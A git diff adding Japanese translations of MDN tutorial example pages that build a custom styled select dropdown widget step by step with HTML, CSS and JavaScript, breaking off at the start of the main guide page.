b/files/ja/learn/forms/how_to_build_custom_form_widgets/example_1/index.html @@ -0,0 +1,415 @@ +--- +title: 例 1 +slug: Learn/Forms/How_to_build_custom_form_widgets/Example_1 +translation_of: Learn/Forms/How_to_build_custom_form_controls/Example_1 +--- +<p>これは、<a href="/ja/docs/Learn/HTML/Forms/How_to_build_custom_form_widgets">カスタムフォームウィジェットの作成方法</a>を説明する最初のコード例です。</p> + +<h2 id="Basic_state" name="Basic_state">Basic state</h2> + +<h3 id="Basic_state_HTML" name="Basic_state_HTML">HTML</h3> + +<pre class="brush: html notranslate"><div class="select"> + <span class="value">Cherry</span> + <ul class="optList hidden"> + <li class="option">Cherry</li> + <li class="option">Lemon</li> + <li class="option">Banana</li> + <li class="option">Strawberry</li> + <li class="option">Apple</li> + </ul> +</div></pre> + +<h3 id="Basic_state_CSS" name="Basic_state_CSS">CSS</h3> + +<pre class="brush: css notranslate">/* --------------- */ +/* Required Styles */ +/* --------------- */ + +.select { + position: relative; + display : inline-block; +} + +.select.active, +.select:focus { + box-shadow: 0 0 3px 1px #227755; + outline: none; +} + +.select .optList { + position: absolute; + top : 100%; + left : 0; +} + +.select .optList.hidden { + max-height: 0; + visibility: hidden; +} + +/* ------------ */ +/* Fancy Styles */ +/* ------------ */ + +.select { + font-size : 0.625em; /* 10px */ + font-family : Verdana, Arial, sans-serif; + + -moz-box-sizing : border-box; + box-sizing : border-box; + + padding : 0.1em 2.5em 0.2em 0.5em; /* 1px 25px 2px 5px */ + width : 10em; /* 100px */ + + border : 0.2em solid #000; /* 2px */ + border-radius : 0.4em; /* 4px */ + + box-shadow : 0 0.1em 0.2em rgba(0,0,0,.45); /* 0 1px 2px */ + + background : #F0F0F0; + background : -webkit-linear-gradient(90deg, #E3E3E3, #fcfcfc 50%, #f0f0f0); + background : linear-gradient(0deg, #E3E3E3, #fcfcfc 50%, #f0f0f0); +} + +.select .value { + display : inline-block; + width : 100%; + overflow : hidden; + + white-space : nowrap; + text-overflow : ellipsis; + vertical-align: top; +} + +.select:after { + content : "▼"; + position: absolute; + z-index : 1; + height : 100%; + width : 2em; /* 20px */ + top : 0; + right : 0; + + padding-top : .1em; + + -moz-box-sizing : border-box; + box-sizing : border-box; + + text-align : center; + + border-left : .2em solid #000; + border-radius: 0 .1em .1em 0; + + background-color : #000; + color : #FFF; +} + +.select .optList { + z-index : 2; + + list-style: none; + margin : 0; + padding: 0; + + background: #f0f0f0; + border: .2em solid #000; + border-top-width : .1em; + border-radius: 0 0 .4em .4em; + + box-shadow: 0 .2em .4em rgba(0,0,0,.4); + + -moz-box-sizing : border-box; + box-sizing : border-box; + + min-width : 100%; + max-height: 10em; /* 100px */ + overflow-y: auto; + overflow-x: hidden; +} + +.select .option { + padding: .2em .3em; +} + +.select .highlight { + background: #000; + color: #FFFFFF; +} +</pre> + +<h3 id="Result_for_basic_state">Result for basic state</h3> + +<div>{{ EmbedLiveSample('Basic_state', 120, 130) }}</div> + +<h2 id="Active_state" name="Active_state">Active state</h2> + +<h3 id="Active_state_HTML" name="Active_state_HTML">HTML</h3> + +<pre class="brush:html notranslate"><div class="select active"> + <span class="value">Cherry</span> + <ul class="optList hidden"> + <li class="option">Cherry</li> + <li class="option">Lemon</li> + <li class="option">Banana</li> + <li class="option">Strawberry</li> + <li class="option">Apple</li> + </ul> +</div></pre> + +<h3 id="Active_state_CSS" name="Active_state_CSS">CSS</h3> + +<pre class="brush:css notranslate">/* --------------- */ +/* Required Styles */ +/* --------------- */ + +.select { + position: relative; + display : inline-block; +} + +.select.active, +.select:focus { + box-shadow: 0 0 3px 1px #227755; + outline: none; +} + +.select .optList { + position: absolute; + top : 100%; + left : 0; +} + +.select .optList.hidden { + max-height: 0; + visibility: hidden; +} + +/* ------------ */ +/* Fancy Styles */ +/* ------------ */ + +.select { + font-size : 0.625em; /* 10px */ + font-family : Verdana, Arial, sans-serif; + + -moz-box-sizing : border-box; + box-sizing : border-box; + + padding : 0.1em 2.5em 0.2em 0.5em; /* 1px 25px 2px 5px */ + width : 10em; /* 100px */ + + border : 0.2em solid #000; /* 2px */ + border-radius : 0.4em; /* 4px */ + + box-shadow : 0 0.1em 0.2em rgba(0,0,0,.45); /* 0 1px 2px */ + + background : #F0F0F0; + background : -webkit-linear-gradient(90deg, #E3E3E3, #fcfcfc 50%, #f0f0f0); + background : linear-gradient(0deg, #E3E3E3, #fcfcfc 50%, #f0f0f0); +} + +.select .value { + display : inline-block; + width : 100%; + overflow : hidden; + + white-space : nowrap; + text-overflow : ellipsis; + vertical-align: top; +} + +.select:after { + content : "▼"; + position: absolute; + z-index : 1; + height : 100%; + width : 2em; /* 20px */ + top : 0; + right : 0; + + padding-top : .1em; + + -moz-box-sizing : border-box; + box-sizing : border-box; + + text-align : center; + + border-left : .2em solid #000; + border-radius: 0 .1em .1em 0; + + background-color : #000; + color : #FFF; +} + +.select .optList { + z-index : 2; + + list-style: none; + margin : 0; + padding: 0; + + background: #f0f0f0; + border: .2em solid #000; + border-top-width : .1em; + border-radius: 0 0 .4em .4em; + + box-shadow: 0 .2em .4em rgba(0,0,0,.4); + + -moz-box-sizing : border-box; + box-sizing : border-box; + + min-width : 100%; + max-height: 10em; /* 100px */ + overflow-y: auto; + overflow-x: hidden; +} + +.select .option { + padding: .2em .3em; +} + +.select .highlight { + background: #000; + color: #FFFFFF; +}</pre> + +<h3 id="Result_for_active_state">Result for active state</h3> + +<div>{{ EmbedLiveSample('Active_state', 120, 130) }}</div> + +<h2 id="Open_state" name="Open_state">Open state</h2> + +<h3 id="Open_state_HTML" name="Open_state_HTML">HTML</h3> + +<pre class="brush:html notranslate"><div class="select active"> + <span class="value">Cherry</span> + <ul class="optList"> + <li class="option highlight">Cherry</li> + <li class="option">Lemon</li> + <li class="option">Banana</li> + <li class="option">Strawberry</li> + <li class="option">Apple</li> + </ul> +</div></pre> + +<h3 id="Open_state_CSS" name="Open_state_CSS">CSS</h3> + +<pre class="brush:css notranslate">/* --------------- */ +/* Required Styles */ +/* --------------- */ + +.select { + position: relative; + display : inline-block; +} + +.select.active, +.select:focus { + box-shadow: 0 0 3px 1px #227755; + outline: none; +} + +.select .optList { + position: absolute; + top : 100%; + left : 0; +} + +.select .optList.hidden { + max-height: 0; + visibility: hidden; +} + +/* ------------ */ +/* Fancy Styles */ +/* ------------ */ + +.select { + font-size : 0.625em; /* 10px */ + font-family : Verdana, Arial, sans-serif; + + -moz-box-sizing : border-box; + box-sizing : border-box; + + padding : 0.1em 2.5em 0.2em 0.5em; /* 1px 25px 2px 5px */ + width : 10em; /* 100px */ + + border : 0.2em solid #000; /* 2px */ + border-radius : 0.4em; /* 4px */ + + box-shadow : 0 0.1em 0.2em rgba(0, 0, 0, .45); /* 0 1px 2px */ + + background : #F0F0F0; + background : -webkit-linear-gradient(90deg, #E3E3E3, #fcfcfc 50%, #f0f0f0); + background : linear-gradient(0deg, #E3E3E3, #fcfcfc 50%, #f0f0f0); +} + +.select .value { + display : inline-block; + width : 100%; + overflow : hidden; + + white-space : nowrap; + text-overflow : ellipsis; + vertical-align: top; +} + +.select:after { + content : "▼"; + position: absolute; + z-index : 1; + height : 100%; + width : 2em; /* 20px */ + top : 0; + right : 0; + + padding-top : .1em; + + -moz-box-sizing : border-box; + box-sizing : border-box; + + text-align : center; + + border-left : .2em solid #000; + border-radius: 0 .1em .1em 0; + + background-color : #000; + color : #FFF; +} + +.select .optList { + z-index : 2; + + list-style: none; + margin : 0; + padding: 0; + + background: #f0f0f0; + border: .2em solid #000; + border-top-width : .1em; + border-radius: 0 0 .4em .4em; + + box-shadow: 0 .2em .4em rgba(0,0,0,.4); + + -moz-box-sizing : border-box; + box-sizing : border-box; + + min-width : 100%; + max-height: 10em; /* 100px */ + overflow-y: auto; + overflow-x: hidden; +} + +.select .option { + padding: .2em .3em; +} + +.select .highlight { + background: #000; + color: #FFF; +}</pre> + +<h3 id="Result_for_open_state">Result for open state</h3> + +<div>{{ EmbedLiveSample('Open_state', 120, 130) }}</div> diff --git a/files/ja/learn/forms/how_to_build_custom_form_widgets/example_2/index.html b/files/ja/learn/forms/how_to_build_custom_form_widgets/example_2/index.html new file mode 100644 index 0000000000..7a547909ce --- /dev/null +++ b/files/ja/learn/forms/how_to_build_custom_form_widgets/example_2/index.html @@ -0,0 +1,212 @@ +--- +title: 例 2 +slug: Learn/Forms/How_to_build_custom_form_widgets/Example_2 +tags: + - Forms + - HTML +translation_of: Learn/Forms/How_to_build_custom_form_controls/Example_2 +--- +<p>これは、<a href="/ja/docs/Learn/HTML/Forms/How_to_build_custom_form_widgets">カスタムフォームウィジェットの作成方法</a>を説明する2番目の例です。</p> + +<h2 id="JS" name="JS">JS</h2> + +<h3 id="HTML_コンテンツ">HTML コンテンツ</h3> + +<pre class="brush: html notranslate"><form class="no-widget"> + <select name="myFruit"> + <option>Cherry</option> + <option>Lemon</option> + <option>Banana</option> + <option>Strawberry</option> + <option>Apple</option> + </select> + + <div class="select"> + <span class="value">Cherry</span> + <ul class="optList hidden"> + <li class="option">Cherry</li> + <li class="option">Lemon</li> + <li class="option">Banana</li> + <li class="option">Strawberry</li> + <li class="option">Apple</li> + </ul> + </div> +<form> +</pre> + +<h3 id="CSS_コンテンツ">CSS コンテンツ</h3> + +<pre class="brush: css notranslate">.widget select, +.no-widget .select { + position : absolute; + left : -5000em; + height : 0; + overflow : hidden; +} + +/* --------------- */ +/* Required Styles */ +/* --------------- */ + +.select { + position: relative; + display : inline-block; +} + +.select.active, +.select:focus { + box-shadow: 0 0 3px 1px #227755; + outline: none; +} + +.select .optList { + position: absolute; + top : 100%; + left : 0; +} + +.select .optList.hidden { + max-height: 0; + visibility: hidden; +} + +/* ------------ */ +/* Fancy Styles */ +/* ------------ */ + +.select { + font-size : 0.625em; /* 10px */ + font-family : Verdana, Arial, sans-serif; + + -moz-box-sizing : border-box; + box-sizing : border-box; + + padding : 0.1em 2.5em 0.2em 0.5em; /* 1px 25px 2px 5px */ + width : 10em; /* 100px */ + + border : 0.2em solid #000; /* 2px */ + border-radius : 0.4em; /* 4px */ + + box-shadow : 0 0.1em 0.2em rgba(0,0,0,.45); /* 0 1px 2px */ + + background : #F0F0F0; + background : -webkit-linear-gradient(90deg, #E3E3E3, #fcfcfc 50%, #f0f0f0); + background : linear-gradient(0deg, #E3E3E3, #fcfcfc 50%, #f0f0f0); +} + +.select .value { + display : inline-block; + width : 100%; + overflow : hidden; + + white-space : nowrap; + text-overflow : ellipsis; + vertical-align: top; +} + +.select:after { + content : "▼"; + position: absolute; + z-index : 1; + height : 100%; + width : 2em; /* 20px */ + top : 0; + right : 0; + + padding-top : .1em; + + -moz-box-sizing : border-box; + box-sizing : border-box; + + text-align : center; + + border-left : .2em solid #000; + border-radius: 0 .1em .1em 0; + + background-color : #000; + color : #FFF; +} + +.select .optList { + z-index : 2; + + list-style: none; + margin : 0; + padding: 0; + + background: #f0f0f0; + border: .2em solid #000; + border-top-width : .1em; + border-radius: 0 0 .4em .4em; + + box-shadow: 0 .2em .4em rgba(0,0,0,.4); + + -moz-box-sizing : border-box; + box-sizing : border-box; + + min-width : 100%; + max-height: 10em; /* 100px */ + overflow-y: auto; + overflow-x: hidden; +} + +.select .option { + padding: .2em .3em; +} + +.select .highlight { + background: #000; + color: #FFFFFF; +}</pre> + +<h3 id="JavaScript_コンテンツ">JavaScript コンテンツ</h3> + +<pre class="brush: js notranslate">window.addEventListener("load", function () { + var form = document.querySelector('form'); + + form.classList.remove("no-widget"); + form.classList.add("widget"); +});</pre> + +<h3 id="JS_の結果">JS の結果</h3> + +<p>{{ EmbedLiveSample('JS', 120, 130) }}</p> + +<h2 id="No_JS" name="No_JS">No JS</h2> + +<h3 id="HTML_コンテンツ_2">HTML コンテンツ</h3> + +<pre class="brush: html notranslate"><form class="no-widget"> + <select name="myFruit"> + <option>Cherry</option> + <option>Lemon</option> + <option>Banana</option> + <option>Strawberry</option> + <option>Apple</option> + </select> + + <div class="select"> + <span class="value">Cherry</span> + <ul class="optList hidden"> + <li class="option">Cherry</li> + <li class="option">Lemon</li> + <li class="option">Banana</li> + <li class="option">Strawberry</li> + <li class="option">Apple</li> + </ul> + </div> +<form></pre> + +<h3 id="CSS_コンテンツ_2">CSS コンテンツ</h3> + +<pre class="brush: css notranslate">.widget select, +.no-widget .select { + position : absolute; + left : -5000em; + height : 0; + overflow : hidden; +}</pre> + +<h3 id="No_JS_の結果">No JS の結果</h3> + +<p>{{ EmbedLiveSample('No_JS', 120, 130) }}</p> diff --git a/files/ja/learn/forms/how_to_build_custom_form_widgets/example_3/index.html b/files/ja/learn/forms/how_to_build_custom_form_widgets/example_3/index.html new file mode 100644 index 0000000000..ac3763cb80 --- /dev/null +++ b/files/ja/learn/forms/how_to_build_custom_form_widgets/example_3/index.html @@ -0,0 +1,246 @@ +--- +title: 例 3 +slug: Learn/Forms/How_to_build_custom_form_widgets/Example_3 +tags: + - Forms + - HTML +translation_of: Learn/Forms/How_to_build_custom_form_controls/Example_3 +--- +<p>これは、<a href="/ja/docs/Learn/HTML/Forms/How_to_build_custom_form_widgets">カスタムフォームウィジェットの作成方法</a>を説明する3番目の例です。</p> + +<h2 id="Change_states" name="Change_states">状態を変更する</h2> + +<h3 id="HTML_コンテンツ">HTML コンテンツ</h3> + +<pre class="brush: html notranslate"><form class="no-widget"> + <select name="myFruit" tabindex="-1"> + <option>Cherry</option> + <option>Lemon</option> + <option>Banana</option> + <option>Strawberry</option> + <option>Apple</option> + </select> + + <div class="select" tabindex="0"> + <span class="value">Cherry</span> + <ul class="optList hidden"> + <li class="option">Cherry</li> + <li class="option">Lemon</li> + <li class="option">Banana</li> + <li class="option">Strawberry</li> + <li class="option">Apple</li> + </ul> + </div> +</form></pre> + +<h3 id="CSS_コンテンツ">CSS コンテンツ</h3> + +<pre class="brush: css notranslate">.widget select, +.no-widget .select { + position : absolute; + left : -5000em; + height : 0; + overflow : hidden; +} + +/* --------------- */ +/* Required Styles */ +/* --------------- */ + +.select { + position: relative; + display : inline-block; +} + +.select.active, +.select:focus { + box-shadow: 0 0 3px 1px #227755; + outline: none; +} + +.select .optList { + position: absolute; + top : 100%; + left : 0; +} + +.select .optList.hidden { + max-height: 0; + visibility: hidden; +} + +/* ------------ */ +/* Fancy Styles */ +/* ------------ */ + +.select { + font-size : 0.625em; /* 10px */ + font-family : Verdana, Arial, sans-serif; + + -moz-box-sizing : border-box; + box-sizing : border-box; + + padding : 0.1em 2.5em 0.2em 0.5em; /* 1px 25px 2px 5px */ + width : 10em; /* 100px */ + + border : 0.2em solid #000; /* 2px */ + border-radius : 0.4em; /* 4px */ + + box-shadow : 0 0.1em 0.2em rgba(0,0,0,.45); /* 0 1px 2px */ + + background : #F0F0F0; + background : -webkit-linear-gradient(90deg, #E3E3E3, #fcfcfc 50%, #f0f0f0); + background : linear-gradient(0deg, #E3E3E3, #fcfcfc 50%, #f0f0f0); +} + +.select .value { + display : inline-block; + width : 100%; + overflow : hidden; + + white-space : nowrap; + text-overflow : ellipsis; + vertical-align: top; +} + +.select:after { + content : "▼"; + position: absolute; + z-index : 1; + height : 100%; + width : 2em; /* 20px */ + top : 0; + right : 0; + + padding-top : .1em; + + -moz-box-sizing : border-box; + box-sizing : border-box; + + text-align : center; + + border-left : .2em solid #000; + border-radius: 0 .1em .1em 0; + + background-color : #000; + color : #FFF; +} + +.select .optList { + z-index : 2; + + list-style: none; + margin : 0; + padding: 0; + + background: #f0f0f0; + border: .2em solid #000; + border-top-width : .1em; + border-radius: 0 0 .4em .4em; + + box-shadow: 0 .2em .4em rgba(0,0,0,.4); + + -moz-box-sizing : border-box; + box-sizing : border-box; + + min-width : 100%; + max-height: 10em; /* 100px */ + overflow-y: auto; + overflow-x: hidden; +} + +.select .option { + padding: .2em .3em; +} + +.select .highlight { + background: #000; + color: #FFFFFF; +}</pre> + +<h3 id="JavaScript_コンテンツ">JavaScript コンテンツ</h3> + +<pre class="brush: js notranslate">// ------- // +// HELPERS // +// ------- // + +NodeList.prototype.forEach = function (callback) { + Array.prototype.forEach.call(this, callback); +} + +// -------------------- // +// Function definitions // +// -------------------- // + +function deactivateSelect(select) { + if (!select.classList.contains('active')) return; + + var optList = select.querySelector('.optList'); + + optList.classList.add('hidden'); + select.classList.remove('active'); +} + +function activeSelect(select, selectList) { + if (select.classList.contains('active')) return; + + selectList.forEach(deactivateSelect); + select.classList.add('active'); +}; + +function toggleOptList(select, show) { + var optList = select.querySelector('.optList'); + + optList.classList.toggle('hidden'); +} + +function highlightOption(select, option) { + var optionList = select.querySelectorAll('.option'); + + optionList.forEach(function (other) { + other.classList.remove('highlight'); + }); + + option.classList.add('highlight'); +}; + +// ------------- // +// Event binding // +// ------------- // + +window.addEventListener("load", function () { + var form = document.querySelector('form'); + + form.classList.remove("no-widget"); + form.classList.add("widget"); +}); + +window.addEventListener('load', function () { + var selectList = document.querySelectorAll('.select'); + + selectList.forEach(function (select) { + var optionList = select.querySelectorAll('.option'); + + optionList.forEach(function (option) { + option.addEventListener('mouseover', function () { + highlightOption(select, option); + }); + }); + + select.addEventListener('click', function (event) { + toggleOptList(select); + }, false); + + select.addEventListener('focus', function (event) { + activeSelect(select, selectList); + }); + + select.addEventListener('blur', function (event) { + deactivateSelect(select); + }); + }); +});</pre> + +<h3 id="結果">結果</h3> + +<p>{{ EmbedLiveSample('Change_states') }}</p> diff --git a/files/ja/learn/forms/how_to_build_custom_form_widgets/example_4/index.html b/files/ja/learn/forms/how_to_build_custom_form_widgets/example_4/index.html new file mode 100644 index 0000000000..51fa53c27a --- /dev/null +++ b/files/ja/learn/forms/how_to_build_custom_form_widgets/example_4/index.html @@ -0,0 +1,296 @@ +--- +title: 例 4 +slug: Learn/Forms/How_to_build_custom_form_widgets/Example_4 +tags: + - Advanced + - Example + - Forms + - Guide + - HTML + - Web +translation_of: Learn/Forms/How_to_build_custom_form_controls/Example_4 +--- +<p>これは、<a href="/ja/docs/Learn/HTML/Forms/How_to_build_custom_form_widgets">カスタムフォームウィジェットの作成方法</a>を説明する4番目の例です。</p> + +<h2 id="Change_states" name="Change_states">状態を変更する</h2> + +<h3 id="HTML_コンテンツ">HTML コンテンツ</h3> + +<pre class="brush: html notranslate"><form class="no-widget"> + <select name="myFruit"> + <option>Cherry</option> + <option>Lemon</option> + <option>Banana</option> + <option>Strawberry</option> + <option>Apple</option> + </select> + + <div class="select"> + <span class="value">Cherry</span> + <ul class="optList hidden"> + <li class="option">Cherry</li> + <li class="option">Lemon</li> + <li class="option">Banana</li> + <li class="option">Strawberry</li> + <li class="option">Apple</li> + </ul> + </div> +</form></pre> + +<h3 id="CSS_コンテンツ">CSS コンテンツ</h3> + +<pre class="brush: css notranslate">.widget select, +.no-widget .select { + position : absolute; + left : -5000em; + height : 0; + overflow : hidden; +} + +/* --------------- */ +/* Required Styles */ +/* --------------- */ + +.select { + position: relative; + display : inline-block; +} + +.select.active, +.select:focus { + box-shadow: 0 0 3px 1px #227755; + outline: none; +} + +.select .optList { + position: absolute; + top : 100%; + left : 0; +} + +.select .optList.hidden { + max-height: 0; + visibility: hidden; +} + +/* ------------ */ +/* Fancy Styles */ +/* ------------ */ + +.select { + font-size : 0.625em; /* 10px */ + font-family : Verdana, Arial, sans-serif; + + -moz-box-sizing : border-box; + box-sizing : border-box; + + padding : 0.1em 2.5em 0.2em 0.5em; /* 1px 25px 2px 5px */ + width : 10em; /* 100px */ + + border : 0.2em solid #000; /* 2px */ + border-radius : 0.4em; /* 4px */ + + box-shadow : 0 0.1em 0.2em rgba(0,0,0,.45); /* 0 1px 2px */ + + background : #F0F0F0; + background : -webkit-linear-gradient(90deg, #E3E3E3, #fcfcfc 50%, #f0f0f0); + background : linear-gradient(0deg, #E3E3E3, #fcfcfc 50%, #f0f0f0); +} + +.select .value { + display : inline-block; + width : 100%; + overflow : hidden; + + white-space : nowrap; + text-overflow : ellipsis; + vertical-align: top; +} + +.select:after { + content : "▼"; + position: absolute; + z-index : 1; + height : 100%; + width : 2em; /* 20px */ + top : 0; + right : 0; + + padding-top : .1em; + + -moz-box-sizing : border-box; + box-sizing : border-box; + + text-align : center; + + border-left : .2em solid #000; + border-radius: 0 .1em .1em 0; + + background-color : #000; + color : #FFF; +} + +.select .optList { + z-index : 2; + + list-style: none; + margin : 0; + padding: 0; + + background: #f0f0f0; + border: .2em solid #000; + border-top-width : .1em; + border-radius: 0 0 .4em .4em; + + box-shadow: 0 .2em .4em rgba(0,0,0,.4); + + -moz-box-sizing : border-box; + box-sizing : border-box; + + min-width : 100%; + max-height: 10em; /* 100px */ + overflow-y: auto; + overflow-x: hidden; +} + +.select .option { + padding: .2em .3em; +} + +.select .highlight { + background: #000; + color: #FFFFFF; +}</pre> + +<h3 id="JavaScript_コンテンツ">JavaScript コンテンツ</h3> + +<pre class="brush: js notranslate">// ------- // +// HELPERS // +// ------- // + +NodeList.prototype.forEach = function (callback) { + Array.prototype.forEach.call(this, callback); +} + +// -------------------- // +// Function definitions // +// -------------------- // + +function deactivateSelect(select) { + if (!select.classList.contains('active')) return; + + var optList = select.querySelector('.optList'); + + optList.classList.add('hidden'); + select.classList.remove('active'); +} + +function activeSelect(select, selectList) { + if (select.classList.contains('active')) return; + + selectList.forEach(deactivateSelect); + select.classList.add('active'); +}; + +function toggleOptList(select, show) { + var optList = select.querySelector('.optList'); + + optList.classList.toggle('hidden'); +} + +function highlightOption(select, option) { + var optionList = select.querySelectorAll('.option'); + + optionList.forEach(function (other) { + other.classList.remove('highlight'); + }); + + option.classList.add('highlight'); +}; + +function updateValue(select, index) { + var nativeWidget = select.previousElementSibling; + var value = select.querySelector('.value'); + var optionList = select.querySelectorAll('.option'); + + nativeWidget.selectedIndex = index; + value.innerHTML = optionList[index].innerHTML; + highlightOption(select, optionList[index]); +}; + +function getIndex(select) { + var nativeWidget = select.previousElementSibling; + + return nativeWidget.selectedIndex; +}; + +// ------------- // +// Event binding // +// ------------- // + +window.addEventListener("load", function () { + var form = document.querySelector('form'); + + form.classList.remove("no-widget"); + form.classList.add("widget"); +}); + +window.addEventListener('load', function () { + var selectList = document.querySelectorAll('.select'); + + selectList.forEach(function (select) { + var optionList = select.querySelectorAll('.option'); + + optionList.forEach(function (option) { + option.addEventListener('mouseover', function () { + highlightOption(select, option); + }); + }); + + select.addEventListener('click', function (event) { + toggleOptList(select); + }); + + select.addEventListener('focus', function (event) { + activeSelect(select, selectList); + }); + + select.addEventListener('blur', function (event) { + deactivateSelect(select); + }); + }); +}); + +window.addEventListener('load', function () { + var selectList = document.querySelectorAll('.select'); + + selectList.forEach(function (select) { + var optionList = select.querySelectorAll('.option'), + selectedIndex = getIndex(select); + + select.tabIndex = 0; + select.previousElementSibling.tabIndex = -1; + + updateValue(select, selectedIndex); + + optionList.forEach(function (option, index) { + option.addEventListener('click', function (event) { + updateValue(select, index); + }); + }); + + select.addEventListener('keyup', function (event) { + var length = optionList.length, + index = getIndex(select); + + if (event.keyCode === 40 && index < length - 1) { index++; } + if (event.keyCode === 38 && index > 0) { index--; } + + updateValue(select, index); + }); + }); +});</pre> + +<h3 id="結果">結果</h3> + +<p>{{ EmbedLiveSample('Change_states') }}</p> diff --git a/files/ja/learn/forms/how_to_build_custom_form_widgets/example_5/index.html b/files/ja/learn/forms/how_to_build_custom_form_widgets/example_5/index.html new file mode 100644 index 0000000000..4bad8016bb --- /dev/null +++ b/files/ja/learn/forms/how_to_build_custom_form_widgets/example_5/index.html @@ -0,0 +1,289 @@ +--- +title: 例 5 +slug: Learn/Forms/How_to_build_custom_form_widgets/Example_5 +tags: + - Forms + - HTML +translation_of: Learn/Forms/How_to_build_custom_form_controls/Example_5 +--- +<p>これが、<a href="/ja/docs/Learn/HTML/Forms/How_to_build_custom_form_widgets">カスタムフォームウィジェットの作成方法</a>を説明する最後の例です。</p> + +<h2 id="Change_states" name="Change_states">状態を変更する</h2> + +<h3 id="HTML_コンテンツ">HTML コンテンツ</h3> + +<pre class="brush: html notranslate"><form class="no-widget"> + <select name="myFruit"> + <option>Cherry</option> + <option>Lemon</option> + <option>Banana</option> + <option>Strawberry</option> + <option>Apple</option> + </select> + + <div class="select" role="listbox"> + <span class="value">Cherry</span> + <ul class="optList hidden" role="presentation"> + <li class="option" role="option" aria-selected="true">Cherry</li> + <li class="option" role="option">Lemon</li> + <li class="option" role="option">Banana</li> + <li class="option" role="option">Strawberry</li> + <li class="option" role="option">Apple</li> + </ul> + </div> +</form></pre> + +<h3 id="CSS_コンテンツ">CSS コンテンツ</h3> + +<pre class="brush: css notranslate">.widget select, +.no-widget .select { + position : absolute; + left : -5000em; + height : 0; + overflow : hidden; +} + +/* --------------- */ +/* Required Styles */ +/* --------------- */ + +.select { + position: relative; + display : inline-block; +} + +.select.active, +.select:focus { + box-shadow: 0 0 3px 1px #227755; + outline: none; +} + +.select .optList { + position: absolute; + top : 100%; + left : 0; +} + +.select .optList.hidden { + max-height: 0; + visibility: hidden; +} + +/* ------------ */ +/* Fancy Styles */ +/* ------------ */ + +.select { + font-size : 0.625em; /* 10px */ + font-family : Verdana, Arial, sans-serif; + + -moz-box-sizing : border-box; + box-sizing : border-box; + + padding : 0.1em 2.5em 0.2em 0.5em; /* 1px 25px 2px 5px */ + width : 10em; /* 100px */ + + border : 0.2em solid #000; /* 2px */ + border-radius : 0.4em; /* 4px */ + + box-shadow : 0 0.1em 0.2em rgba(0,0,0,.45); /* 0 1px 2px */ + + background : #F0F0F0; + background : -webkit-linear-gradient(90deg, #E3E3E3, #fcfcfc 50%, #f0f0f0); + background : linear-gradient(0deg, #E3E3E3, #fcfcfc 50%, #f0f0f0); +} + +.select .value { + display : inline-block; + width : 100%; + overflow : hidden; + + white-space : nowrap; + text-overflow : ellipsis; + vertical-align: top; +} + +.select:after { + content : "▼"; + position: absolute; + z-index : 1; + height : 100%; + width : 2em; /* 20px */ + top : 0; + right : 0; + + padding-top : .1em; + + -moz-box-sizing : border-box; + box-sizing : border-box; + + text-align : center; + + border-left : .2em solid #000; + border-radius: 0 .1em .1em 0; + + background-color : #000; + color : #FFF; +} + +.select .optList { + z-index : 2; + + list-style: none; + margin : 0; + padding: 0; + + background: #f0f0f0; + border: .2em solid #000; + border-top-width : .1em; + border-radius: 0 0 .4em .4em; + + box-shadow: 0 .2em .4em rgba(0,0,0,.4); + + -moz-box-sizing : border-box; + box-sizing : border-box; + + min-width : 100%; + max-height: 10em; /* 100px */ + overflow-y: auto; + overflow-x: hidden; +} + +.select .option { + padding: .2em .3em; +} + +.select .highlight { + background: #000; + color: #FFFFFF; +}</pre> + +<h3 id="JavaScript_コンテンツ">JavaScript コンテンツ</h3> + +<pre class="brush: js notranslate">// ------- // +// HELPERS // +// ------- // + +NodeList.prototype.forEach = function (callback) { + Array.prototype.forEach.call(this, callback); +} + +// -------------------- // +// Function definitions // +// -------------------- // + +function deactivateSelect(select) { + if (!select.classList.contains('active')) return; + + var optList = select.querySelector('.optList'); + + optList.classList.add('hidden'); + select.classList.remove('active'); +} + +function activeSelect(select, selectList) { + if (select.classList.contains('active')) return; + + selectList.forEach(deactivateSelect); + select.classList.add('active'); +}; + +function toggleOptList(select, show) { + var optList = select.querySelector('.optList'); + + optList.classList.toggle('hidden'); +} + +function highlightOption(select, option) { + var optionList = select.querySelectorAll('.option'); + + optionList.forEach(function (other) { + other.classList.remove('highlight'); + }); + + option.classList.add('highlight'); +}; + +function updateValue(select, index) { + var nativeWidget = select.previousElementSibling; + var value = select.querySelector('.value'); + var optionList = select.querySelectorAll('.option'); + + optionList.forEach(function (other) { + other.setAttribute('aria-selected', 'false'); + }); + + optionList[index].setAttribute('aria-selected', 'true'); + + nativeWidget.selectedIndex = index; + value.innerHTML = optionList[index].innerHTML; + highlightOption(select, optionList[index]); +}; + +function getIndex(select) { + var nativeWidget = select.previousElementSibling; + + return nativeWidget.selectedIndex; +}; + +// ------------- // +// Event binding // +// ------------- // + +window.addEventListener("load", function () { + var form = document.querySelector('form'); + + form.classList.remove("no-widget"); + form.classList.add("widget"); +}); + +window.addEventListener('load', function () { + var selectList = document.querySelectorAll('.select'); + + selectList.forEach(function (select) { + var optionList = select.querySelectorAll('.option'), + selectedIndex = getIndex(select); + + select.tabIndex = 0; + select.previousElementSibling.tabIndex = -1; + + updateValue(select, selectedIndex); + + optionList.forEach(function (option, index) { + option.addEventListener('mouseover', function () { + highlightOption(select, option); + }); + + option.addEventListener('click', function (event) { + updateValue(select, index); + }); + }); + + select.addEventListener('click', function (event) { + toggleOptList(select); + }); + + select.addEventListener('focus', function (event) { + activeSelect(select, selectList); + }); + + select.addEventListener('blur', function (event) { + deactivateSelect(select); + }); + + select.addEventListener('keyup', function (event) { + var length = optionList.length, + index = getIndex(select); + + if (event.keyCode === 40 && index < length - 1) { index++; } + if (event.keyCode === 38 && index > 0) { index--; } + + updateValue(select, index); + }); + }); +}); +</pre> + +<h3 id="結果">結果</h3> + +<p>{{ EmbedLiveSample('Change_states') }}</p> diff --git a/files/ja/learn/forms/how_to_build_custom_form_widgets/index.html b/files/ja/learn/forms/how_to_build_custom_form_widgets/index.html new file mode 100644 index 0000000000..7bbd20b511 --- /dev/null +++ b/files/ja/learn/forms/how_to_build_custom_form_widgets/index.html @@ -0,0 +1,901 @@ +--- +title: カスタムフォームコントロールの作成方法 +slug: Learn/Forms/How_to_build_custom_form_widgets +tags: + - Advanced + - Example + - Forms + - Guide + - HTML + - Web +translation_of: Learn/Forms/How_to_build_custom_form_controls +--- +<div>{{LearnSidebar}}</div> + +<p>HTML フォームで使用可能なコントロールだけでは十分でない場合が多くあります。例えば、{{HTMLElement("select")}} 要素のようなコントロールに<a href="/ja/docs/Advanced_styling_for_HTML_forms" 